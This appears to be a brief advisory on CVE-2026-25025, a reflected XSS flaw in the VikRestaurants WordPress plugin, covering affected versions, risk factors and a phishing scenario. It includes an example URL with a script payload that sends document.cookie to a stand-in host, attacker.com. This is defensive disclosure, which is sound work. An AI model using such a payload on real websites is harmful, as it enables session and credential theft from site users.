Vikrestaurants CVE-2026-25025

VikRestaurants versions 1.5.2 and earlier. Remote unauthenticated attacker crafts malicious URL with XSS payload. Victim must click the link in their browser. No special configuration required—affects default installations.

While no CVSS Score or CVSS Vector data is available in the intelligence provided, the vulnerability carries moderate-to-high real-world risk due to several factors: (1) Reflected XSS is highly automatable and requires low attack complexity, typically exploitable via simple URL manipulation; (2) The vulnerability affects a publicly-available WordPress plugin with broad deployment across restaurant websites; (3) The presence of this issue in versions through 1.5.2 suggests a substantial population of potentially vulnerable installations; (4) No EPSS score or KEV designation is documented, but the lack of formal severity rating does not diminish the practical exploitability—Reflected XSS vulnerabilities are routinely weaponized in real attacks; (5) The Patchstack reporting source indicates active vulnerability intelligence coverage, suggesting researcher interest and potential proof-of-concept development. Without CVSS vector details, practitioners should treat this as a moderate priority requiring prompt patching, particularly for public-facing restaurant websites handling customer reservations and payment information.

An attacker crafts a malicious URL containing JavaScript payload in a URL parameter (e.g., https://restaurant-site.com/vikrestaurants?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and shares it via email or social media, disguised as a restaurant promotion or reservation confirmation. When a customer or restaurant staff member clicks the link, the unvalidated input is reflected directly into the page HTML, and the JavaScript executes in the victim's browser within the security context of the restaurant website, allowing the attacker to steal session cookies or admin credentials. Since Reflected XSS requires no stored payload or user interaction beyond a single click, automated exploitation through mass phishing campaigns is straightforward.